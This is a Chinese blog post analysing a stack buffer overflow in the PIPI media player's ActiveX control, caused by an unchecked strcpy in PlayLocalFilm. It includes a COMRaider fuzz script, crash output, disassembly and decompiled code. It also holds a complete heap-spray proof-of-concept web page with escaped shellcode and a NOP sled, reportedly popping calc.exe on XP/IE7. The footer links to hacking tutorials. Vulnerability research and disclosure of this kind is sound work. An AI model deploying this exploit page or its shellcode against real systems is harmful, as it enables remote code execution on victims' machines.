皮皮播放器Activex控件BOF漏洞
发布时间：2014-04-28 12:39:46作者：知识屋
1、最新版本皮皮播放器，使用ComRaider进行fuzz
fuzz生成文件
<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:A74BF134-5213-46B5-AF36-CE1888315DC7' id='target' /> <script language='vbscript'> 'File Generated by COMRaider v0.0.134 - http://labs.idefense.com 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:pipiPIPIWebPlayer.ocx" prototype = "Sub PlayLocalFilm ( ByVal lpFilmName As String )" memberName = "PlayLocalFilm" progid = "PIPIWebPlayerLib.PIPIWebPlayerCtrl" argCount = 1 arg1=String(6164, "A") target.PlayLocalFilm arg1 </script></job></package> ComRaider列表发现异常信息，seh链被覆盖成41414141，典型的BOF一枚。 Exception Code: ACCESS_VIOLATION Disasm: 15B7DDF MOV EAX,[EAX+4] (PIPIWebPlayer.DLL) Seh Chain: -------------------------------------------------- 1 41414141 Called From Returns To -------------------------------------------------- PIPIWebPlayer.15B7DDF PIPIWebPlayer.15B6FEF PIPIWebPlayer.15B6FEF PIPIWebPlayer.15F1B9E PIPIWebPlayer.15F1B9E 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
2、分析成因
Immunity Debugger,ida搞起,流程同上篇，此处略。
漏洞汇编地址在此处
01A91AF0 55 PUSH EBP 01A91AF1 8BEC MOV EBP,ESP 01A91AF3 6A FF PUSH -1 01A91AF5 68 48EAAD01 PUSH PIPIWebP.01ADEA48 01A91AFA 64:A1 00000000 MOV EAX,DWORD PTR FS:[0] 01A91B00 50 PUSH EAX 01A91B01 64:8925 00000000 MOV DWORD PTR FS:[0],ESP 01A91B08 81EC 68040000 SUB ESP,468 01A91B0E A1 0869AF01 MOV EAX,DWORD PTR DS:[1AF6908] 01A91B13 33C5 XOR EAX,EBP 01A91B15 8945 EC MOV DWORD PTR SS:[EBP-14],EAX 01A91B18 898D ACFBFFFF MOV DWORD PTR SS:[EBP-454],ECX 01A91B1E C745 FC 01000000 MOV DWORD PTR SS:[EBP-4],1 01A91B25 6A 08 PUSH 8 01A91B27 8B8D ACFBFFFF MOV ECX,DWORD PTR SS:[EBP-454] 01A91B2D 81C1 90000000 ADD ECX,90 01A91B33 E8 6859FCFF CALL PIPIWebP.01A574A0 01A91B38 8B85 ACFBFFFF MOV EAX,DWORD PTR SS:[EBP-454] 01A91B3E 83B8 80050000 00 CMP DWORD PTR DS:[EAX+580],0 01A91B45 74 2A JE SHORT PIPIWebP.01A91B71 01A91B47 8B8D ACFBFFFF MOV ECX,DWORD PTR SS:[EBP-454] 01A91B4D C781 84050000 00>MOV DWORD PTR DS:[ECX+584],0 01A91B57 6A 00 PUSH 0 01A91B59 68 60EA0000 PUSH 0EA60 01A91B5E 6A 14 PUSH 14 01A91B60 8B8D ACFBFFFF MOV ECX,DWORD PTR SS:[EBP-454] 01A91B66 81C1 90000000 ADD ECX,90 01A91B6C E8 FF58FCFF CALL PIPIWebP.01A57470 01A91B71 8B95 ACFBFFFF MOV EDX,DWORD PTR SS:[EBP-454] 01A91B77 C682 84040000 01 MOV BYTE PTR DS:[EDX+484],1 01A91B7E 8D4D 08 LEA ECX,DWORD PTR SS:[EBP+8] 01A91B81 E8 AA29FEFF CALL PIPIWebP.01A74530 01A91B86 50 PUSH EAX 01A91B87 8D85 E4FDFFFF LEA EAX,DWORD PTR SS:[EBP-21C] 01A91B8D 50 PUSH EAX 01A91B8E E8 F1A30400 CALL <JMP.&MSVCR71.strcpy> 01A91B93 83C4 08 ADD ESP,8 01A91B96 8D4D 0C LEA ECX,DWORD PTR SS:[EBP+C] 01A91B99 E8 4254FCFF CALL PIPIWebP.01A56FE0 01A91B9E 0FB6C8 MOVZX ECX,AL 01A91BA1 85C9 TEST ECX,ECX 01A91BA3 0F84 01010000 JE PIPIWebP.01A91CAA 01A91BA9 8B95 ACFBFFFF MOV EDX,DWORD PTR SS:[EBP-454] 01A91BAF 83BA 3C020000 00 CMP DWORD PTR DS:[EDX+23C],0 01A91BB6 0F84 EC000000 JE PIPIWebP.01A91CA8 01A91BBC 8D85 E4FDFFFF LEA EAX,DWORD PTR SS:[EBP-21C] 01A91BC2 50 PUSH EAX .....
01A91B8E E8 F1A30400 CALL <JMP.&MSVCR71.strcpy> 此处调用了strcpy没有检测数据的边界，导致BOF。
IDA看看反汇编成c的代码段
int __thiscall sub_67641AF0(void *this, char a2, int a3, int a4)
{
const char *v4; // eax@3
unsigned __int8 v5; // al@3
int v6; // ecx@3
const char *v8; // eax@17
int v9; // ecx@28
int v10; // ecx@30
char *v11; // [sp-14h] [bp-488h]@39
char *v12; // [sp-10h] [bp-484h]@39
int v13; // [sp-Ch] [bp-480h]@18
int v14; // [sp-8h] [bp-47Ch]@13
int v15; // [sp-4h] [bp-478h]@13
int v16; // [sp+0h] [bp-474h]@39
int v17; // [sp+4h] [bp-470h]@31
int v18; // [sp+8h] [bp-46Ch]@31
int v19; // [sp+Ch] [bp-468h]@28
int v20; // [sp+10h] [bp-464h]@28
int v21; // [sp+14h] [bp-460h]@26
int v22; // [sp+18h] [bp-45Ch]@13
int v23; // [sp+1Ch] [bp-458h]@7
int v24; // [sp+20h] [bp-454h]@1
char **v25; // [sp+24h] [bp-450h]@39
int *v26; // [sp+28h] [bp-44Ch]@31
int *v27; // [sp+2Ch] [bp-448h]@28
void *v28; // [sp+30h] [bp-444h]@25
int v29; // [sp+34h] [bp-440h]@28
int *v30; // [sp+38h] [bp-43Ch]@13
void *v31; // [sp+3Ch] [bp-438h]@9
void *v32; // [sp+40h] [bp-434h]@6
int v33; // [sp+44h] [bp-430h]@9
int v34; // [sp+48h] [bp-42Ch]@31
int v35; // [sp+4Ch] [bp-428h]@28
int v36; // [sp+50h] [bp-424h]@9
int v37; // [sp+54h] [bp-420h]@17
char Src; // [sp+58h] [bp-41Ch]@17
char Dir; // [sp+158h] [bp-31Ch]@17
char Source; // [sp+258h] [bp-21Ch]@3
char Filename; // [sp+360h] [bp-114h]@17
char Drive; // [sp+464h] [bp-10h]@17
int v43; // [sp+470h] [bp-4h]@1
v24 = (int)this;
v43 = 1;
sub_676074A0(8u);
if ( *(_DWORD *)(v24 + 1408) )
{
*(_DWORD *)(v24 + 1412) = 0;
sub_67607470(0x14u, 0xEA60u, 0);
}
*(_BYTE *)(v24 + 1156) = 1;
v4 = (const char *)unknown_libname_80(&a2);
strcpy(&Source, v4); //此处发生缓冲区溢出
v5 = sub_67606FE0(&a3);
v6 = v5;
if ( v5 )
{
if ( *(_DWORD *)(v24 + 572) && strcmp((const char *)(*(_DWORD *)(v24 + 572) + 4), &Source) )
{
v32 = operator new(0x620u);
LOBYTE(v43) = 2;
if ( v32 )
v23 = sub_6764F860(v32);
else
v23 = 0;
v33 = v23;
LOBYTE(v43) = 1;
v36 = v23;
strcpy((char *)(v23 + 4), &Source);
*(_DWORD *)(v23 + 1076) = 0;
v31 = *(void **)(v24 + 572);
operator delete(v31);
*(_DWORD *)(v24 + 572) = 0;
v6 = v36;
*(_DWORD *)(v24 + 572) = v36;
}
}
else
{
sub_67655450(v24 + 488);
}
if ( *(_DWORD *)(v24 + 1384) )
{
v15 = 0;
v14 = v6;
v30 = &v14;
v22 = sub_6761D410("BUTTON_FILMPLAYON");
sub_6764DC80(v14, v15);
}
if ( (unsigned __int8)sub_67606FE0(&a2) && (unsigned __int8)sub_67606FE0(&a3) )
{
LOBYTE(v43) = 0;
unknown_libname_13(&a2);
v43 = -1;
return unknown_libname_13(&a3);
}
unknown_libname_12(&a2);
LOBYTE(v43) = 3;
v15 = (int)&Src;
v14 = (int)&Filename;
v8 = (const char *)unknown_libname_80(&v37);
splitpath(v8, &Drive, &Dir, (char *)v14, (char *)v15);
unknown_libname_14(&Src);
if ( !(unsigned __int8)sub_67606FE0(&a3) )
{
v15 = (int)&Src;
v14 = a3;
v13 = (int)&Dir;
sub_67621A80((int)&v37, "%s%s%s%s.jfenc", (unsigned int)&Drive);
}
if ( *(_DWORD *)(v24 + 572) )
{
if ( !(unsigned __int8)sub_67606FE0(&a3) )
{
if ( (unsigned __int8)sub_67621AD0(0) )
{
v15 = *(_DWORD *)(v24 + 572) + 1036;
if ( sub_67606F90((unsigned __int8 *)v15) )
sub_67650200(v24);
}
}
}
if ( !*(_DWORD *)(v24 + 572) )
{
v28 = operator new(0x620u);
LOBYTE(v43) = 4;
if ( v28 )
v21 = sub_6764F860(v28);
else
v21 = 0;
v29 = v21;
LOBYTE(v43) = 3;
*(_DWORD *)(v24 + 572) = v21;
v15 = unknown_libname_80(&a2);
v14 = *(_DWORD *)(v24 + 572) + 4;
strcpy((char *)v14, (const char *)v15);
*(_DWORD *)(*(_DWORD *)(v24 + 572) + 1076) = a4;
v15 = unknown_libname_80(&a3);
v14 = *(_DWORD *)(v24 + 572) + 1036;
strcpy((char *)v14, (const char *)v15);
v15 = v9;
v27 = &v15;
v20 = sub_6761D410("TRACKBAR_FILMCTRL");
v19 = sub_67620D80(v15);
v35 = v19;
if ( !v19 )
{
LOBYTE(v43) = 1;
unknown_libname_13(&v37);
LOBYTE(v43) = 0;
unknown_libname_13(&a2);
v43 = -1;
return unknown_libname_13(&a3);
}
sub_6765E090(0, -1);
if ( dword_676A5A60 )
{
v15 = v10;
v26 = &v15;
v18 = sub_6761D410("TRACKBAR_FILMCTRL");
v17 = sub_67620D80(v15);
v34 = v17;
if ( !v17 )
{
LOBYTE(v43) = 1;
unknown_libname_13(&v37);
LOBYTE(v43) = 0;
unknown_libname_13(&a2);
v43 = -1;
return unknown_libname_13(&a3);
}
sub_6765E090(0, -1);
}
}
if ( *(_DWORD *)(v24 + 572) )
{
memset((void *)(v24 + 1196), 0, 0x54u);
v15 = *(_DWORD *)(v24 + 572) + 1036;
strcpy((char *)(v24 + 1196), (const char *)v15);
*(_DWORD *)(v24 + 1260) = *(_DWORD *)(*(_DWORD *)(v24 + 572) + 1028);
if ( *(_DWORD *)(v24 + 1192) )
{
v15 = -1;
v14 = *(_DWORD *)(v24 + 1192);
TerminateThread((HANDLE)v14, 0xFFFFFFFFu);
*(_DWORD *)(v24 + 1192) = 0;
}
*(_DWORD *)(v24 + 1192) = beginthread(sub_6764C7D0, 0, v24);
if ( *(_DWORD *)(v24 + 1192) == -1 )
*(_DWORD *)(v24 + 1192) = 0;
}
v15 = (int)&Src;
v14 = (int)&Filename;
v13 = (int)&Dir;
v12 = &Drive;
v11 = &Drive;
v25 = &v11;
v16 = unknown_libname_12(&v37);
sub_67642170((char)v11, (char)v12, v13, v14, (char *)v15);
LOBYTE(v43) = 1;
unknown_libname_13(&v37);
LOBYTE(v43) = 0;
unknown_libname_13(&a2);
v43 = -1;
return unknown_libname_13(&a3);
}
3、poc
ActiveX溢出最简单的莫过于Heap Spray
POC
<>
<body>
<object classid='clsid:A74BF134-5213-46B5-AF36-CE1888315DC7' id="target"></object>
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode;
buffer='';
for( counter=0; counter<=1100; counter++)
buffer+=unescape("%0D%0D%0D%0D");
target.PlayLocalFilm(buffer);
</script>
</body>
</html>
xp,IE7下弹出calc.exe
由于是典型BOF,ALSR,DEP,是可以写POC的，还是等下回吧，太懒了。
修复方案：
strcpy要校验长度呀.
（免责声明：文章内容如涉及作品内容、版权和其它问题，请及时与我们联系，我们将在第一时间删除内容，文章内容仅供参考）
相关知识
软件推荐
更多 >
-
1菜鸟简单抓肉鸡（如何抓肉鸡）
2011-06-17
-
2
电脑开机时出现lass.exe进程是病毒吗？
-
3
自拍须谨慎！教你如何通过照片定位查看拍摄地点
-
4
电脑病毒最基础知识
-
5
黑客学员必须了解的C语言技术
-
6
精典详细内网渗透专题文章
-
7
教你破解Tp-Link的无线路由密码
-
8
解决SecureCRT中文显示乱码
-
9
QQ电脑管家和360哪个好？横评实测对比
-
10
攻防实战：无线网络路由入侵过程
